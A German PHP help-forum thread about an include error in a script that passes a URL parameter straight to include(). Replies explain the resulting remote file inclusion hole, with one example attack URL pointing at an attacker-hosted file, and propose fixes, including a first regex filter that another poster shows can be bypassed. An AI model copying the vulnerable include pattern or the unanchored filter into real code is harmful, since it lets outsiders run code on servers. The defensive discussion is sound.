Gabi Bauer: PHP 4.3.2 : ich kann Fehlermeldung nicht einordnen ...

Hallo,

ich habe vor kurzem PHP 4.3.2 installiert u. erhalte nun eine Fehlermeldung, die ich bei älteren PHP Versionen nicht bekam:

main(): Failed opening '' for inclusion (include_path='.;c:\php4\pear')
wobei es das Verzeichnis c:\php4\pear gar nicht gibt (und wenn ich es auch einrichten würde, es nichts an der Fehlermeldung ändert...).

Wo kann ich anfangen zu suchen?

Vielen Dank für Hilfe

Gruß, Gabi

  1. Post am besten mal den Script, durch den die Fehlermeldung entstanden ist.
    Wenn ich mich recht erinnere, war das, wenn man eine Dati falsch included.
    Elessar

    1. Post am besten mal den Script, durch den die Fehlermeldung entstanden ist.
      Wenn ich mich recht erinnere, war das, wenn man eine Dati falsch included.
      Elessar

      Hallo,

      hier ist ein Ausschnitt aus der index.html:

      ...
      <frameset  rows="98,*" framespacing="0" frameborder="0" border="0">
           <frame name="oben" scrolling="no" src="oben.html" marginwidth="0" marginheight="0"  frameborder="0" noresize>
         <frame name="main" src="tb_main.php?incl=incl/news.inc" marginwidth="0" marginheight="0" frameborder="0">
      </frameset>
      ...

      Dann der Ausschnitt aus der tb_main.php:

      ...
      <?php include ("$incl"); ?>
      ...

      Die Site läuft mit anderen PHP Versionen ohne Probleme u. es hat sich außer der PHP-Version nichts geändert (also alle html- u. php-Verzeichnisse der Site sind gleich geblieben)

      Gruß, Gabi

      1. Hallo

        Ich tippe register_globals=off. Lasse das auch so und stelle deine Script um. Lies dazu im Archiv sowie aus den PHP-FAQs:
        11.20. Warum funktionieren meine Formulare nicht?
        http://www.dclp-faq.de/q/q-formular-register-globals.html
        28.16. Notice: Undefined variable ...
        http://www.dclp-faq.de/q/q-fehler-variable.html

        Grüße
          David

        --
        >>Nobody will ever need more than 640k RAM!<<
        1981 Bill Gates
      2. Hi,

        also folgende Kombination sieht nach der Grundeinstellung
        register_globals=on aus:

        <frame name="main" src="tb_main.php?incl=incl/news.inc"...

        ..........................................^^^^

        <?php include ("$incl"); ?>

        ....................^^^^

        erstens ist das schlechter Stil und zweitens ein potentielles
        Sicherheitsrisiko und Drittens gehen die Provider auch dazu über
        register_globals auf off zu setzen. Benutze besser $_GET statt dessen.
        Zur fehlersuche: hast du beim Upgrade auch deine php.ini geändert?
        Probiere mal in der ini die zeile register-gloabls=off zu finden und
        dann auf =on zu setzen. Wenn die Fehlermeldung weg ist, ist das Problem
        isoliert. Du solltest deine Skripte trotzdem umschreiben.
        Nicht weil ich hier den Oberlehrer rauskehre, sondern weil du eines
        tages bei einem Provider landet, der die Einstellung geändert hat und du
        dann lange schlaflose Nächte vor die hats...

        bye eddie

      3. Hi Gabi,

        Ausschnitt aus der tb_main.php
        <?php include ("$incl"); ?>
        Die Site läuft mit anderen PHP Versionen ohne Probleme

        Prüfst du $incl vorher so ab (z.B.: mittels regulärem Ausdruck), das nur erlaubte Seiten eingebunden werden können?

        Wenn nein:

        dann hast du bislang richtig Glück gehabt!

        "Wenn "URL fopen wrappers" in PHP aktiviert sind (in der Standardkonfiguration ist das der Fall) können Sie als Pfad der einzubindenden Datei auch eine URL (...) statt einer lokalen Pfadangabe angeben." http://de3.php.net/manual/de/function.include.php

        Also: .../tb_main.php?incl=http://freewebspace.de/evil-h4x03/boese.txt

        boese.txt enthält dabei ein von _mir_ geschriebenes Programm das auf _deinem_ Server ausgeführt wird. Das ist ganz schlecht. Ganz ganz schlecht. So schlecht, dass ein verantwortungsbewußter Administrator dein Script sperren würde.

        Gruss,
          Carsten

        P.S:
        if(!preg_match('#(\w+/)*\w+.\w+#',$incl))
          $incl='incl/news.inc';
        lässt nur noch 'übliche' Dateinnamen durch, sonst wird eine Standard Datei eingebunden. (Namen und Pfad nur aus Buchstaben und Ziffern, nur genau ein Punkt mitten im Namen.)

        1. Moin,

          if(!preg_match('#(\w+/)*\w+.\w+#',$incl))
            $incl='incl/news.inc';
          lässt nur noch 'übliche' Dateinnamen durch, sonst wird eine Standard Datei eingebunden.

          Also mein PHP matcht das auch hervorragend auf http://bla.blubb/foo weil du vergessen hast es zu verankern. Und weil sich bei solchen regulären Ausdrücken immer wieder gern Fehler einschleichen, würde ich eher zu $incl = basename($incl); raten und nur Namen im aktuellen (bzw. einem festen anderen) Verzeichnis zulassen. Das ist vergleichsweise narrensicher (und wenn da ein Fehler drin sein sollte, ist er von den PHP-Programmieren).

          --
          Henryk Plötz
          Grüße aus Berlin
          ~~~~~~~~ Un-CDs, nein danke! http://www.heise.de/ct/cd-register/ ~~~~~~~~
          ~~ Help Microsoft fight software piracy: Give Linux to a friend today! ~~
          1. Hi Henryk,

            if(!preg_match('#(\w+/)*\w+.\w+#',$incl))
              $incl='incl/news.inc';
            lässt nur noch 'übliche' Dateinnamen durch, sonst wird eine Standard Datei eingebunden.

            Also mein PHP matcht das auch hervorragend auf http://bla.blubb/foo weil du vergessen hast es zu verankern. Und weil sich bei solchen regulären Ausdrücken immer wieder gern Fehler einschleichen, würde ich eher zu $incl = basename($incl); raten und nur Namen im aktuellen (bzw. einem festen anderen) Verzeichnis zulassen. Das ist vergleichsweise narrensicher (und wenn da ein Fehler drin sein sollte, ist er von den PHP-Programmieren).

            Verdammte Sch***. Das kommt davon wenn man Windows benutzt... (kein Webserver, kein PHP -> kein Test, ausserdem wars wohl zu früh..)

            also '#^(\w+/)*\w+.\w+$#', mit basename() hast du natürlich recht, ich wollte halt eine 'plug in' Lösung ohne weitere Änderungen am Script.

            Gruss,
              Carsten

        2. Hi Carsten,

          danke für deinen Tipp.
          Was ich gelesen habe, ist der "worst case" ab PHP Versionen 4.3. möglich.  Ab da kommt allow_url_fopen zum Tragen. Bisher hatte ich ja  nur uralt Versionen von PHP.
          Ich werde in der neuen Version (PHP 4.3.2) die möglichen Dateinamen anfragen...

          Gruß, Gabi

          1. Hi Gabi,

            Was ich gelesen habe, ist der "worst case" ab PHP Versionen 4.3. möglich.  Ab da kommt allow_url_fopen zum Tragen. Bisher hatte ich ja  nur uralt Versionen von PHP.

            Du hattest ja geschrieben das es auf mehreren Servern läuft. Daher war ich davon ausgegangen das davon einige im Internet stehen und die sind ja meist auf Linux-Basis. Und da ist diese Sicherheitslücke schon immer existent! (Ab PHP 4.3 bezieht sich nur auf Windows.)

            Ausserdem ist in dem RegExp ein Fehler, siehe Henryks Post.

            Gruss,
              Carsten

        3. Moin!

          boese.txt enthält dabei ein von _mir_ geschriebenes Programm das auf _deinem_ Server ausgeführt wird. Das ist ganz schlecht. Ganz ganz schlecht. So schlecht, dass ein verantwortungsbewußter Administrator dein Script sperren würde.

          WIE schlecht es ist, fremden Code auf seinem eigenen Webspace zu erlauben, wurde eindrucksvoll in </archiv/2003/6/48684/#m265531> demonstriert.

          Die Folgen (2 Stunden Arbeit, 8 Euro an den Provider fürs Einspielen eines Backups) sind noch extrem harmlos, weil im dortigen Vorfall dankenswerterweise der Zugriff relativ schnell (nach 1,5 Stunden) von einem der "Angreifer" gesperrt wurde. Es wäre nicht auszudenken gewesen, was sonst noch alles passiert wäre. Und außerdem war diese Blödheit zum Glück (oder Pech?) öffentlich. Viel schlimmer wäre es, wenn sowas unbemerkt und heimtückisch geschehen würde. Das ließe sich dann nämlich mit Sicherheit ausnutzen, beispielsweise zum Spammen.

          - Sven Rautenberg

          --
          ss:) zu:) ls:[ fo:} de:] va:) ch:] sh:) n4:# rl:| br:< js:| ie:( fl:( mo:|